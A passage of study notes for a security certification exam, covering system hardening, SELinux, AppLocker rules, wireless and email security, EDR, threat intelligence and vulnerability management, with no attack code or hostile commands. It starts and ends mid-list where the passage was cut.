    - May indicate malware infections or Distributed Denial of Service (DDoS)

attacks

- Resource Inaccessibility
  - Inability to access resources like files, databases, or network services
  - Suggests a ransomware attack, where files are encrypted, and a ransom is demanded
- Out-of-Cycle Logging
  - Log entries occurring at unusual times
  - Indicates an attacker trying to hide their activities during off-peak hours
- Missing Logs
  - Sign that logs have been deleted to hide attacker activities
  - May result in gaps in the log data, making it harder to trace the attacker's actions
- Published Articles or Documents
  - Attackers publicly disclose their actions, boasting about their skills or causing reputational damage
  - Can occur on social media, hacker forums, newspaper articles, or the victim's own website

Hardening

Objectives:

- 2.5 - Explain the purpose of mitigation techniques used to secure the enterprise
- 4.1 - Given a scenario, you must be able to apply common security techniques to computing resources
- 4.5 - Given a scenario, you must be able to modify enterprise capabilities to enhance security

- **Changing Default Configurations**
  - Default passwords
    - Preset authentication details
    - Should be immediately changed
    - Rotate every 90 days
    - Rely on password manager
  - Unneeded ports and protocols
    - Close any ports that aren't needed
    - Audit ports and protocols that are enabled
    - Look for secure versions of protocols and use them instead
  - Extra open ports
    - May be open by default
    - Use the more secure ports and close the insecure ones

- **Restricting Applications**
  - *Least Functionality*
    - Involves configuring systems with only essential applications and services

- Least functionality aims to provide only the necessary applications and services
- Unneeded applications should be restricted or uninstalled to reduce vulnerabilities
- Over time, personal computers accumulate unnecessary programs

- Managing Software
  - Keeping software up-to-date is crucial for security
  - New programs may be installed without removing old versions
  - Large networks require preventive measures to control excessive installations
- Creating Secure Baseline Images
  - Secure baseline images are used to install new computers
  - Images include the OS, minimum required applications, and strict configurations
  - These images should be updated based on evolving business needs
- Preventing Unauthorized Software
  - Unauthorized software installation poses security risks
  - Application allowlisting and blocklisting are used to control which applications can run on a workstation
- *Application Allowlisting*
  - Only applications on the approved list are allowed to run
  - All other applications are blocked from running
  - Similar to an "Explicit Allow" statement in access control
- *Application Blocklisting*
  - Applications placed on the blocklist are prevented from running
  - All other applications are permitted to run
  - Any application on the blocklist is denied
- Choosing Between Allowlisting and Blocklisting
  - Allowlisting is more secure, as everything is denied by default

        - Managing allowlists can be challenging as updates require list adjustments
        - Blocklisting is less secure, as everything is allowed except what's explicitly denied
        - Managing blocklists can be difficult, as every new program variation would be allowed until a rule is created
    - Centralized Management
        - Microsoft Active Directory domain controllers allow centralized management of lists
        - Group policies can be used to deploy and manage allowlists and blocklists across workstations in a network

- **Trusted Operating Systems**
    - Trusted Operating System (TOS)
        - An operating system that is designed to provide a secure computing environment by enforcing stringent security policies that usually rely on mandatory access controls
        - Used where Confidentiality, Integrity, and Availability is essential
    - Evaluation Assurance Level (EAL)
        - A predefined security standard and certification from the Common Criteria for Information Technology Security Evaluation
        - Common criteria standards are used to assess the effectiveness of the security controls in an operating system
            - EAL 1 is the lowest level of assurance
            - EAL 7 is the highest level of assurance
    - Trusted operating systems often include
        - Mandatory Access Control
            - Access permissions are determined by a policy defined by the system

administrators and enforced by the operating system

- Security Auditing
- Role-based Access Control

- Examples
  - SELinux (Security-Enhanced Linux)
    - Set of controls that are installed on top of another Linux distribution like CentOS or Red Hat Linux
  - Trusted Solaris
    - Offers secure, multi-level operations with MAC, detailed system audits, and data/process compartmentalization
- Trusted OS enhances security with microkernels by minimizing the trusted base and reducing attack surface and vulnerabilities
- Choosing an operating system requires balancing security with usability, performance, and functional requirements

- **Updates and Patches**
  - Patch management can be
    - Manual
      - Rare for fully manual patch management these days
    - Automated
      - More reliable and most often used
  - Hackers can reverse engineer patches to find the underlying vulnerability
  - *Hotfix*
    - A software patch that solves a security issue and should be applied immediately after being tested in a lab environment

- *Update*
  - Provides a system with additional functionality, but it doesn't usually provide any patching of security related issues
  - Often introduce new vulnerabilities
- *Service Pack*
  - Includes all the hotfixes and updates since the release of the operating system
- Effective Patch Management involves
  - Assigning a dedicated team to track vendor security patches
  - Establishing automated system-wide patching for OS and applications
  - Including cloud resources in patch management
  - Categorizing patches as urgent, important, or non-critical for prioritization
  - Create a test environment to verify critical patches before production deployment
  - Maintaining comprehensive patching logs for program evaluation and monitoring
  - Establishing a process for evaluating, testing, and deploying firmware updates
  - Developing a technical process for deploying approved urgent patches to production
  - Periodically assessing non-critical patches for combined rollout

- **Patch Management**
  - *Patch Management*
    - Planning, testing, implementing, and auditing of software patches
  - Important for compliance
  - Four step process
    - Planning
      - Creating policies, procedures, and systems to track and verify patch

compatibility

- A good patch management tool confirms patch deployment, installation, and functional verification on servers or clients

- Testing
  - Do this to prevent the patch from causing additional problems
- Implementing
  - Deploy to all devices that need it
  - Can be done manually or automated
  - Large organizations should use a central update server instead of Windows Update or other tool
  - Mobile devices can be patched using an MDM
  - Patch Rings
    - Implement patches one group (or ring) at a time
- Auditing
  - Scan network to ensure the patch was installed correctly
  - Determine if there are any unexpected problems as a result of the patch

- Firmware versions should also be monitored and patched
  - Companies will have centralized resources to help keep firmware patched

- **Group Policies**
  - *Group Policy*
    - A set of rules and policies that can be applied to users or computer accounts within an operating system
  - Accessing Group Policy Editor
    - Access the Group Policy Editor by entering "gpedit" in the run prompt
    - The local Group Policy Editor is used to create and manage policies within a

Windows environment

- Group Policies Overview
  - Each policy acts as a security template applying rules such as
    - Password complexity requirements,
    - Account lockout policies
    - Software restrictions
    - Application restrictions
  - In a Windows environment with an Active Directory domain controller, you have access to an advanced Group Policy Editor
- *Security Templates*
  - A group of policies that can be loaded through one procedure
  - In corporate environments, create security templates with predefined rules based on administrative policies
  - *Security Template*
    - A group of policies that can be loaded through the Group Policy Editor
  - *Group Policy Objective (GPO)*
    - Used to harden the operating system and establish secure baselines
- *Baselining*
  - A process of measuring changes in the network, hardware, or software environment
  - Helps establish what "normal" is for the organization
  - Identifies abnormal or deviations for investigation
- Group Policy Editor in Windows
  - Access the Group Policy Editor by entering "gpedit" in the run prompt
  - Create allow or block list rules for application control policies

- Creating a Rule in Group Policy Editor
  - Launch the Group Policy Editor
  - Navigate to "Computer Configuration" > "Windows Settings" > "Security Settings" > "Application Control Policies" > "App Locker”
  - Create an executable rule
  - Choose to allow or deny
  - Select who the rule applies to (e.g., everyone)
  - Define the rule based on conditions like publisher, path, or file hash.
  - Specify the path to be blocked (e.g., the temp directory)
  - Name the rule and provide a description
  - Decide whether to create default rules (allow or deny) and save the policy
  - Deploy the policy across the environment for system hardening
- Rules in Group Policy Editor
  - *Allow Rules (Default)*
    - Allow files in the "Program Files" directory to launch
    - Allow files in the "Windows" folder to launch
    - Allow administrators to launch any file
  - *Deny Rule (Custom)*
    - Block all files from running in the "temp directory"
- By following these steps, you can establish a secure baseline for your Windows systems, improving overall security and policy management

- **SELinux**
    - SELinux and MAC Basics
        - *SELinux (Security Enhanced Linux)*
            - A security mechanism that provides an additional layer of security for Linux distributions
            - Enforces Mandatory Access Control (MAC)
        - *Mandatory Access Control (MAC)*
            - Restricts access to system resources based on subject clearance and object labels
        - *Context-based permissions*
            - Permission schemes that consider various properties to determine whether to grant or deny access to a user
        - Two main context-based permission schemes in Linux that use MAC
            - SELinux
            - AppArmor
        - DAC vs. MAC
            - *DAC (Discretionary Access Control)*
                - Each object has a list of entities that are allowed to access it
                - Allows object owners to directly control access using tools like 'chown' and 'chmod'
            - SELinux relies on MAC for permissions and access control, not DAC
    - *SELinux*
        - The default context-based permission scheme in CentOS and Red Hat Enterprise Linux created by NSA
        - Used to enforce MAC on processes and resources
        - Enables information to be classified and protected

- Enhances file system and network security, preventing unauthorized access, security breaches, and execution of untrustworthy programs

- Three Main Contexts in SELinux
  - *User Context*
    - Defines which users can access an object, including common contexts like 'unconfined_u,' 'user_u,' 'sysadm_u,' and 'root'
  - *Role Context*
    - Determines which roles can access an object, using 'object_r' for files and directories
  - *Type Context*
    - Essential for fine-grained access control, grouping objects with similar security characteristics
- Optional Context
  - *Level Context*
    - Describes the sensitivity level of a file, directory, or process
    - Known as a multi-level security context, allowing further access control refinement
- SELinux Modes
  - *Disabled Mode*
    - Turns off SELinux, relying on default DAC for access control
  - *Enforcing Mode*
    - Enforces all SELinux security policies, preventing policy violations
  - *Permissive Mode*
    - Enables SELinux but doesn't enforce policies, allowing processes to bypass security policies

- SELinux Policies
  - *SELinux Policy*
    - Describes access permissions for users, programs, processes, files, and devices
  - Two Main Policy Types
    - *Targeted Policies*
      - Only specific processes are confined to a domain, while others run unconfined
    - *Strict Policies*
      - Every subject and object operates under MAC, but it's more complex to set up
- Violation Messages
  - SELinux captures violation messages in an audit log
  - Violations can occur when someone tries to access an unauthorized object, or an action contradicts an existing policy
- Policy Configuration
  - Initial SELinux setup may result in false violations, requiring policy tweaking and fine-tuning
  - Strong security depends on creating effective restricted profiles and hardening applications to prevent malicious attacks

- **Data Encryption Levels**
  - *Data Encryption*
    - Process of converting data into a secret code to prevent unauthorized access

- Levels
  - *Full-disk*
    - Encrypts the entire hard drive to protect all of the data being stored on it
  - *Partition*
    - Similar to full-disk encryption but it is only applied to a specific partition on the storage device
    - *VeraCrypt*
      - Tool that selectively encrypts partitions, like sensitive documents, while leaving the OS partition unencrypted
  - *Volume*
    - Used to encrypt a set space on the storage medium
    - Creates an encrypted container that can house various files and folders
  - *File-level Encryption*
    - Used to encrypt an individual file instead of an entire partition or an entire disk drive
    - *GNU Privacy Guard*
      - A tool that provides cryptographic privacy and authentication for data communication
  - *Database*
    - Secures the entire database
    - Can extend the encryption across multiple storage devices or cloud storage
    - Similar to full-disk encryption
  - *Record*
    - Encrypts individual records or rows within a database

- **Secure Baselines**
  - *Secure Baseline*
    - Standard set of security configurations and controls applied to systems, networks, or applications to ensure a minimum level of security
    - Helps organizations maintain consistent security postures and mitigate common vulnerabilities
  - Establishing a Secure Baseline
    - The process begins with a thorough assessment of the system, network, or application that requires protection
    - Identify the type of data involved, understand data workflows, and evaluate potential vulnerabilities and threats
    - Best practices, industry standards, and compliance requirements (e.g., ISO 27001, NIST SP 800-53) are used as starting points for defining the secure baseline
    - Create a secure baseline configuration by securing the operating system on a reference device (e.g., a laptop)
  - Configuring a Secure Baseline
    - Install, update, configure, and secure the operating system on the reference device
    - Check the device against baseline configuration guides and scan for known vulnerabilities or misconfigurations
    - Install required applications (e.g., Microsoft Office suite, endpoint detection and response agents)
    - Scan for vulnerabilities in the installed applications and remediate them
    - Create an image of the reference device as the "known good and secure baseline”

- Deployment
  - Configure firewalls, set up user permissions, implement encryption protocols, and ensure antivirus and anti-malware solutions are properly installed and updated
  - Use automated tools and scripts to ensure consistent application of the secure baseline across devices
  - In a Windows environment, Group Policy Objects (GPO) can be used to dictate policies, user rights, and audit settings
  - In cloud environments (e.g., AWS), services like AWS Config are employed to define and deploy secure configurations
- Maintenance
  - Lock down systems to prevent unauthorized software installation or configuration changes
  - Regular audits, monitoring, and continuous assessment are required to keep the baseline up-to-date
  - Continuous monitoring tools help identify deviations from the baseline and trigger alerts for immediate remediation
  - Periodically review and update the secure baseline to adapt to changes in organizational infrastructure, business needs, and emerging threats
- Employee Training and Awareness
  - Conduct training sessions to educate employees about the importance of adhering to secure baseline configurations
  - Raise awareness about the potential risks of deviating from the baseline
  - Encourage employees to report any suspicious activities they notice when using their systems

Security Techniques

Objectives:

- 4.1 - Given a scenario, you must be able to apply common security techniques to computing resources
- 4.5 - Given a scenario, you must be able to modify enterprise capabilities to enhance security

- **Wireless Infrastructure Security**
  - *Wireless Infrastructure Security*
    - Crucial for securing wireless networks in organizations
    - Placement of Wireless Access Points (WAPs) impacts network performance and security
  - *Wireless Access Point Placement*
    - WAPs allow wireless devices to connect to a wired network using Wi-Fi standards
    - Placement influences
      - Network range
      - Coverage
      - Security
    - Proper placement prevents unauthorized access by limiting signal leakage or dead zones
    - Is a huge concern in terms of the security of the wireless network
  - Placement Considerations
    - Avoid placing WAPs near external walls or windows to prevent signal leakage
    - Place WAPs in central locations for optimal coverage
    - Use unidirectional antennas when WAPs are near external walls

- Mount WAPs on higher locations, such as ceilings, for better coverage
- *Extended Service Set (ESS)*
  - Multiple WAPs work together to provide seamless network coverage
  - Important for large buildings where a single WAP is insufficient
- *Wireless Access Point Interference*
  - Interference occurs when multiple WAPs use the same channels or overlapping frequencies
  - Types
    - Co-Channel Interference
    - Adjacent Channel Interference
  - In the 2.4 GHz band, select Channels 1, 6, and 11 to avoid overlap
- Tools for ensuring good Wireless Access Point Coverage
  - *Site Surveys*
    - Essential for planning and designing wireless networks
    - Involves a site visit to test for radio frequency interference and identify optimal WAP installation locations
  - *Heat Maps*
    - Graphical representations of
      - Wireless coverage
      - Signal strength
      - Frequency utilization
    - Useful for troubleshooting
      - Coverage issues
      - Dead zones
      - Signal leakage
    - Aid in visualizing the effectiveness of WAP placement and configuration

- **Wireless Security Settings**
  - *Wireless Security Settings*
    - Crucial for securing wireless networks due to increasing usage
  - *Wireless Encryption*
    - Wireless encryption is essential for data confidentiality in wireless networks
  - *WEP (Wired Equivalent Privacy)*
    - Introduced in 1999 as part of IEEE 802.11
    - Utilizes a static encryption key system
    - Considered insecure due to its weak 24-bit initialization vector
  - *WPA (Wi-Fi Protected Access)*
    - Introduced in 2003 as an improvement over WEP
    - Implemented TKIP for dynamic key generation
    - Inherited some vulnerabilities from WEP
    - Due to TKIP vulnerabilities, it was susceptible to cryptographic attacks
    - Insecure due to insufficient data integrity checks in the TKIP implementation
  - *WPA2 (Wi-Fi Protected Access 2)*
    - Introduced in 2004, replacing WPA.
    - Uses AES protocol and CCMP protocol for stronger encryption
      - AES - Advanced Encryption Standard
      - CCMP - Counter Cipher Mode with Block Chaining Message Authentication Code
    - Introduced Message Integrity Code (MIC) for integrity checking
  - *WPA3 (Wi-Fi Protected Access 3)*
    - The latest and most secure wireless security protocol.
    - Uses AES for encryption and introduces new features.

- Features
  - *Simultaneous Authentication of Equals (SAE)*
    - Replaces the 4-way handshake with a Diffie-Hellman key agreement
    - Protects against offline dictionary attacks
  - *Enhanced Open (Opportunistic Wireless Encryption)*
    - Provides individualized data encryption even in open networks
    - Improves privacy and security in open Wi-Fi scenarios
  - *Updated Cryptographic Protocols*
    - AES GCMP replaces AES CCMP used in WPA2
    - Supports both 128-bit and 192-bit AES for enhanced security
  - *Management Frame Protection*
    - Ensures the integrity of network management traffic
    - Prevents eavesdropping, forging, and tampering with management frames

- *AAA Protocols*
  - Important for centralized user authentication and access control
  - Examples
    - *RADIUS (Remote Authentication Dial-In User Service)*
      - Offers Authentication, Authorization, and Accounting services
      - Widely used for secure access to network resources
    - *TACACS+ (Terminal Access Controller Access-Control System Plus)*
      - Separates Authentication, Authorization, and Accounting functions
      - More granular control
      - Encrypts the authentication process using TCP for enhanced

security

- *Authentication Protocols*
  - Used to verify user identity and control network access
  - *EAP (Extensible Authentication Protocol)*
    - Authentication framework supporting multiple methods
    - Provides common functions and negotiation of authentication protocols
  - *PEAP (Protected Extensible Authentication Protocol)*
    - Encapsulates EAP within an encrypted TLS tunnel
    - Developed jointly by Cisco Systems, Microsoft, and RSA Security
  - *EAP-TTLS (Extensible Authentication Protocol-Tunneled Transport Layer Security)*
    - Extends TLS support across platforms
    - Requires server-side certificates for security
  - *EAP-FAST (Extensible Authentication Protocol-Flexible Authentication via Secure Tunneling)*
    - Developed by Cisco Systems for secure re-authentication
    - Uses a Protected Access Credential and TLS tunnel

- **Application Security**
  - *Application Security*
    - Focuses on building secure applications
    - Aims to prevent, detect, and remediate security vulnerabilities
  - Six Key Areas in Application Security
    - *Input Validation*
      - Ensures that applications process well-defined, secure data
      - Guards against attacks exploiting data input vulnerabilities (e.g., SQL injection, XSS, buffer overflows)

- Serves as a kind of quality control for data to ensure that every piece of information is valid, secure, and correctly formatted
- *Validation Rules*
  - Delineate acceptable and unacceptable inputs
- Validates data early in the process (front-end validation)
- Used with additional tools for defense in-depth
  - Secure communication protocols
  - Regular security auditing
  - Implementing proper error handling

- *Cookies*
  - Small data pieces stored by web browsers
  - Maintain stateful information between the server and client
  - *Secure Cookies*
    - Secure cookies are transmitted over HTTPS for enhanced security
  - Best practices
    - Refraining from persistent cookies for session verification
    - Enabling the Secure attribute
    - Enabling HttpOnly attribute
    - Configuring the SameSite attribute
- *Static Code Analysis (SAST)*
  - A method of debugging an application by reviewing and examining its source code before running the program
  - Identifies issues like buffer overflows, SQL injection, and XSS
  - Important for proper input validation in both front-end and back-end code

- *Dynamic Code Analysis (DAST)*
  - Analyzes applications while they run
  - Common methods of DAST
    - *Fuzzing (Fuzz Testing)*
      - Inputs random data to provoke crashes or exceptions
      - Helps uncover security flaws and weaknesses
    - *Stress Testing*
      - Evaluates system stability and reliability under extreme conditions
      - Reveals bottlenecks and assesses system recovery
- *Code Signing*
  - Confirms the software author's identity and integrity
  - Utilizes digital signatures to verify code authenticity
  - Protects against code tampering but doesn't guarantee absence of vulnerabilities
- *Sandboxing*
  - Isolates running programs, limiting their access to resources
  - Prevents harmful actions on the host device or network
  - Used to execute untrusted or untested programs securely

- **Network Access Control (NAC)**
  - *Network Access Control (NAC)*
    - Used to protect networks from both known and unknown devices by scanning devices to assess their security status before granting network access
    - Can be applied to devices within the internal network or those connecting remotely via VPN

- NAC can be implemented as a hardware or software solution
- NAC Process
  - When a device attempts to connect, it is placed in a virtual holding area for scanning
  - Scanning checks various factors, including antivirus definitions, security patching, and potential security threats
  - If a device passes inspection, it is allowed network access
  - If a device fails inspection, it is placed in a digital quarantine area for remediation
- NAC Agent Types
  - *Persistent Agents*
    - Installed on devices in a corporate environment where the organization owns and controls device software
  - *Non-Persistent Agents*
    - Common in environments with personal devices (e.g., college campuses); users connect, access a web-based captive portal, download an agent for scanning, and delete itself after inspection
- *802.1x Standard*
  - Port-based Network Access Control mechanism based on the IEEE 802.1x standard
  - Modern NAC solutions build on 802.1x, enhancing features and capabilities
- *Rule-Based Access Control*
  - In addition to health policy, NAC can use rule-based methods for access control
    - *Time-Based Factors*
      - Define access periods based on time schedules; may block access during non-working hours

- *Location-Based Factors*
    - Evaluate the endpoint's location using geolocation data to detect unusual login locations
- *Role-Based Factors*
    - Reevaluate device authorization based on its role (adaptive NAC)
- *Rule-Based Factors*
    - Implement complex admission policies with logical statements to determine access based on conditions

- **Web and DNS Filtering**
    - *Web Filtering*
        - Web filtering or content filtering is used to control or restrict the content users can access on the internet
        - Crucial for businesses, educational institutions, and parents to ensure safe and productive internet use
    - Different types of web filtering techniques
        - *Agent-Based Web Filtering*
            - Involves installing an agent on each device
            - Monitors and enforces web usage policies
            - Effective for remote and mobile workers
        - *Centralized Proxy*
            - Uses a proxy server as an intermediary between an organization’s end users and the Internet
            - Evaluates and controls web requests based on policies
            - If the request does not conform with the policies, the request is simply blocked or denied

- *URL Scanning*
  - Analyzes website URLs to check for matches in a database of known malicious websites
- *Content Categorization*
  - Classifies websites into categories (e.g., social media, adult content) and blocks or allows categories based on policies
- *Block Rules*
  - Specific guidelines set by organizations to prevent access to certain websites or categories, often used to address security threats
- *Reputation-Based Filtering*
  - Blocks or allows websites based on a reputation score determined by third-party services, considering factors like hosting malware or phishing

- *DNS Filtering*
  - DNS filtering (Domain Name System filtering) blocks access to specific websites by preventing the translation of domain names to their IP addresses
  - Users' devices request domain name translation from DNS servers; if the domain is on the block list, the server withholds the IP address to prevent access
  - Commonly used to enforce internet usage policies, block inappropriate content, and protect against malicious websites
  - Often employed by schools, universities, and organizations to ensure safe and educational internet usage

- **Email Security**
  - *Email Security*
    - Encompasses techniques and protocols to protect email content, accounts, and infrastructure from unauthorized access, loss, or compromise

- Key email security techniques
  - *DKIM (DomainKeys Identified Mail)*
    - Allows the receiver to verify the source and integrity of an email by adding a digital signature to the email headers
    - The recipient server validates the DKIM signature using the sender's public cryptographic key in the domain's DNS records
    - Benefits
      - Email authentication
      - Protection against email spoofing
      - Improved email deliverability
      - Enhanced reputation score
  - *SPF (Sender Policy Framework)*
    - Prevents sender address forgery by verifying the sender's IP against authorized IPs listed in the sender's domain DNS records
    - A receiving server checks if the sender's IP is authorized in the SPF record before accepting the email
    - Benefits
      - Preventing email spoofing
      - Improving email deliverability
      - Enhancing the domain's reputation
  - *DMARC (Domain-based Message Authentication, Reporting and Conformance)*
    - DMARC detects and prevents email spoofing by setting policies for email sending and handling failures
    - DMARC can work with DKIM, SPF, or both
    - Implementation helps protect against
      - Business email compromise attacks

- Phishing
- Scams
- Cyber threats

- *Email Gateway Protocol Configuration*
  - Email gateways serve as entry and exit points for emails, facilitating secure and efficient email transmission
  - They use SMTP (Simple Mail Transfer Protocol) to send and receive emails
  - Email gateways handle email routing, email security, policy enforcement, and email encryption
  - Email Gateway Deployment Options
    - *On-Premises Email Gateway*
      - A physical server located within an organization's premises, offering full control but requiring maintenance and updates
    - *Cloud-Based Email Gateway*
      - Hosted by third-party cloud service providers, providing scalability but limited control over configurations
    - *Hybrid Email Gateway*
      - Combines on-premises and cloud-based gateways for a balance between control and convenience

- *Spam Filtering*
  - Spam filtering detects and prevents unwanted and unsolicited emails from reaching users' inboxes
  - Techniques
    - Content analysis
    - Bayesian filtering

        - DNS-based sinkhole list
        - Email filtering rules
    - Emails with spam-like keywords are flagged and often moved to the spam folder

- **Endpoint Detection and Response**
    - *Endpoint Detection and Response (EDR)*
        - Category of security tools that monitor endpoint and network events and record the information in a central database
        - Continuously monitoring and response to advanced threats
        - Monitors endpoint and network events, providing data for the following
            - Analysis
            - Detection
            - Investigation
            - Reporting
            - Alerting
        - Focuses on incident data for enhancing security monitoring, incident response, and forensic investigations
    - How EDR Works
        - *Data Collection*
            - Collects data from endpoints (devices that are physically on the endpoint of a network)
                - System processes
                - Registry changes
                - Memory usage
                - Network traffic patterns

- *Data Consolidation*
  - Sends collected data to a centralized security solution or database
- *Threat Detection*
  - Analyzes data using techniques like signature-based and behavioral-based detection to identify threats
- *Alerts and Threat Response*
  - Takes actions such as creating alerts or performing threat response actions when threats are detected
- *Threat Investigation*
  - Provides tools for security teams to investigate threats, including detailed timelines and forensic data
- *Remediation*
  - Removing malicious files
  - Reversing changes
  - Restoring systems to their normal state

- *File Integrity Monitoring (FIM)*
  - Validates the integrity of operating system and application software files by comparing their current state with a known, good baseline
  - Identifies changes to
    - Binary files
    - System and Application Files
    - Configuration and Parameter Files
  - Monitors critical system files for changes using agents and hash digests, triggering alerts when unauthorized changes occur
- *Extended Detection and Response (XDR)*
  - Security strategy that integrates multiple protection technologies into a single

platform
        - Improves detection accuracy and simplified incident response
        - Correlates data across multiple security layers to detect threats faster, including
            - email
            - endpoint
            - server
            - cloud workloads
            - network
    - Difference between EDR and XDR
        - EDR is focused on the endpoints to detect and respond to potential threats
        - XDR is more comprehensive solution because it focuses on endpoints, but also on networks, cloud, and email to detect and respond to potential threats
            - It integrates multiple protection technologies

- **User Behavior Analytics**
    - *User Behavior Analytics (UBA)*
        - Advanced cybersecurity strategy that uses big data and machine learning to analyze user behaviors for detecting security threats
        - Focuses on understanding user behavior within systems and networks to identify patterns and anomalies
    - *User and Entity Behavior Analytics (UEBA)*
        - Technology similar to UBA but extends the monitoring of entities like routers, servers, and endpoints in addition to user accounts
        - Enhances security by analyzing both user and entity behavior to detect anomalies

- Key Aspects of UBA and UEBA
  - UBA leverages data analytics to collect and analyze user behavior data to establish normal behavior baselines
    - Knowing the baseline makes it easier to spot anomalies
  - Machine learning algorithms are used to identify deviations from normal behavior, which may indicate security threats
  - UBA systems process data from various sources
    - Network traffic
    - User devices
    - Application logs
  - Alerts are generated when anomalies are detected, which are then investigated by the security team
- Benefits of UBA and UEBA
  - Early Detection of Threats
    - UBA tools can identify potential threats before significant damage occurs, allowing for quicker and more effective responses
  - Insider Threat Detection
    - Effective at identifying insider threats by detecting suspicious activities that deviate from typical behavior
  - Improved Incident Response
    - Provides detailed information about user behavior, helping security teams respond effectively to incidents, such as compromised credentials or unauthorized actions

- **Selecting Secure Protocols**
    - *Secure Protocols*
        - Choose secure protocols to protect data in transit from unauthorized access
            - Examples include HTTP vs. HTTPS, FTP vs. SFTP, Telnet vs. SSH
        - Secure protocols use encryption to safeguard data during transmission
        - *Telnet*
            - Application layer protocol that allows a user on one computer to log onto another computer that is part of the same network
            - Transmits in plaintext
            - Use SSH instead
        - Always use the encrypted version of the protocol
            - Examples
                - HTTPS
                - SFTP
                - SSH
                - IMAPS
                - POP3S
                - SMTPS
                - SNMPS
    - Port Selection
        - Ports are logical constructs used to identify processes or services on a system
        - Categorized into the following
            - Well-known ports (0-1023)
            - Registered ports (1024-49151)
            - Dynamic/private ports (49152-65535)
        - Default port numbers often indicate whether a protocol is secure (e.g., HTTP on

port 80 vs. HTTPS on port 443)

- Additional security considerations
  - Follow the principle of least privilege by opening only necessary ports to minimize the attack surface
  - Changing port numbers can add a layer of obscurity but should not replace robust security measures

- Transport Methods
  - Choose a transport method (TCP or UDP) based on the application's needs
  - *TCP (Transmission Control Protocol)*
    - Connection-oriented, ensuring data delivery without errors
    - Ideal for applications where data accuracy is crucial, like web and email servers
    - Uses acknowledgments, retransmission, and sequencing for data integrity
  - *UDP (User Datagram Protocol)*
    - Connectionless and faster, but doesn't guarantee data delivery
    - Suitable for applications prioritizing speed over accuracy, like streaming video or gaming

Vulnerability Management

Objective 4.3: Explain various activities associated with vulnerability management

- **Identifying Vulnerabilities**
  - *Identifying Vulnerabilities*
    - Systematic practice of recognizing and categorizing weaknesses in systems, networks, or applications that could be exploited
    - This process is crucial for enhancing system security, preventing unauthorized access, and protecting the integrity of an organization's data and systems
  - Methods for Identifying Vulnerabilities
    - *Vulnerability Scanning*
      - Automated probing of systems, networks, and applications to discover potential vulnerabilities
      - Tools like Nessus and OpenVAS are used to analyze the current state of systems against a database of known vulnerabilities
      - Prioritize identified vulnerabilities, apply patches, and implement mitigation measures to prevent exploitation
    - Application Security
      - Protecting software from manipulation during its lifecycle
      - Techniques include static analysis, dynamic analysis, and package monitoring for custom software applications
      - Static analysis examines the source code without execution to identify vulnerabilities
      - Dynamic analysis evaluates applications in real-time to detect

vulnerabilities
- Package monitoring ensures the security and updates of libraries and components that applications depend on

- *Penetration Testing*
  - Simulates real-world attacks on systems to evaluate their security
  - Examining penetration test results to understand how systems were infiltrated or exploited
  - Mitigate identified issues to prevent similar attack vectors from being used by attackers
- System and Process Audits
  - Comprehensive reviews of information systems, security policies, and procedures
  - Ensures adherence to security best practices and industry standards

- The Four-Step Process for Identifying Vulnerabilities
  - Planning
    - Establish policies, procedures, and mechanisms to systematically track and evaluate vulnerabilities
    - Determine how vulnerability testing will be conducted and fixes deployed
  - Testing
    - Evaluate patches and updates in a controlled environment before deploying them across the entire enterprise network
    - Verify that solutions to mitigate vulnerabilities do not introduce new issues
  - Implementation
    - Deploy patches and updates across devices and applications
    - Applies to small and large networks to mitigate identified vulnerabilities

        - Auditing
            - Ensure that security patches and configuration changes have been implemented effectively
            - Verify that no issues have arisen after the implementation of changes

- **Threat Intelligence Feeds**
    - *Threat Intelligence Feeds*
        - Provide valuable information about potential or current threats to an organization's security
        - Continuous streams of data related to potential or current threats
        - Collected, analyzed, and disseminated by security researchers, organizations, or automated tools
        - Provide real-time or near-real-time updates on aspects such as
            - Malware signatures
            - Indicators of Compromise (IoC)
            - Malicious IP addresses
            - URLs
        - Different feed sources are used to enhance security posture
    - Understanding Threat Intelligence
        - *Threat Intelligence*
            - Continuous process to comprehend the specific threats an organization faces
        - It focuses on analyzing evidence-based knowledge about existing or emerging hazards to an organization's assets
        - Combines data from multiple sources to provide context, mechanisms, indicators, implications, and actionable information about threats

        - Threat intelligence services from companies like FireEye help cybersecurity professionals stay updated on the latest attacks, vulnerabilities, and threats
    - Evolution of Threats
        - Threat actors adapt their attack methods as technology changes
        - In the past, server-side attacks were common due to open ports and protocols on servers
        - With better server protection, threat actors shifted to client-side attacks, targeting vulnerabilities in client applications
        - Enterprise networks implement Network Access Control (NAC) to secure clients
        - The mobile environment and cloud technology have also become targets for attacks
    - Sources of Threat Intelligence
        - *Open-Source Intelligence (OSINT)*
            - Collected from publicly available sources like reports, forums, news articles, blogs, and social media
            - Often available at no cost
            - Valuable for insights into emerging threats and vulnerabilities
            - Examples include feeds from AlienVault Open Threat Exchange, SANS Internet Storm Center, and security research forums
        - Proprietary or Third-Party Feeds
            - Provided by commercial vendors under a subscription model
            - Offer more refined, analyzed, and timely information
            - Integratable into security tools for automated threat response
            - Companies like FireEye, McAfee, and Symantec provide proprietary feeds
        - Information-Sharing Organizations
            - Formed to facilitate the sharing of threat intelligence among members

- Includes Information Sharing and Analysis Centers and Information Sharing and Analysis Organizations
- Collaboration among businesses in specific industries (e.g., finance, healthcare) to share industry-specific threat information

- *Dark Web*
  - A hidden part of the internet inaccessible through standard browsers
  - Can be a source of threat intelligence for security researchers
  - Explored for information about hacking techniques, stolen data, and emerging threats
  - Provides insights ahead of public knowledge

- **Responsible Disclosure Programs**
  - *Responsible Disclosure*
    - Ethical practice for disclosing vulnerabilities in software, hardware, or online services
    - The goal is to provide stakeholders time to address vulnerabilities before public disclosure
    - Process
      - Security researcher privately notifies the organization
      - Researcher and organization agree on a timeframe for public disclosure
      - After addressing the vulnerability or the agreed timeframe, the researcher discloses the information publicly
  - *Bug Bounty Programs*
    - Robust responsible disclosure programs incentivizing security researchers
    - Offer monetary rewards for validated vulnerabilities
    - Programs can be run internally or facilitated through platforms like HackerOne,

Bugcrowd, and Synack

- Benefits
  - Increased security through external scrutiny
  - Community collaboration
  - Cost-effectiveness (pay for found vulnerabilities)
- Challenges
  - Clear communication
  - Legal protections
  - Rules of engagement

- Best Practices for Effective Programs
  - Clearly define the program's scope
  - Establish proper communication channels for reporting
  - Set up a reward structure aligned with vulnerability risk
  - Create legal safeguards for security researchers
  - Define timeframes for vulnerability acknowledgment, validation, and remediation
  - Promote transparency to share lessons learned with the community and industry

- **Analyzing Vulnerabilities**
  - *Vulnerability Confirmation*
    - Determining the accuracy of identified potential security weaknesses
      - *True Positive*
        - Real and exploitable vulnerability correctly identified
      - *False Positive*
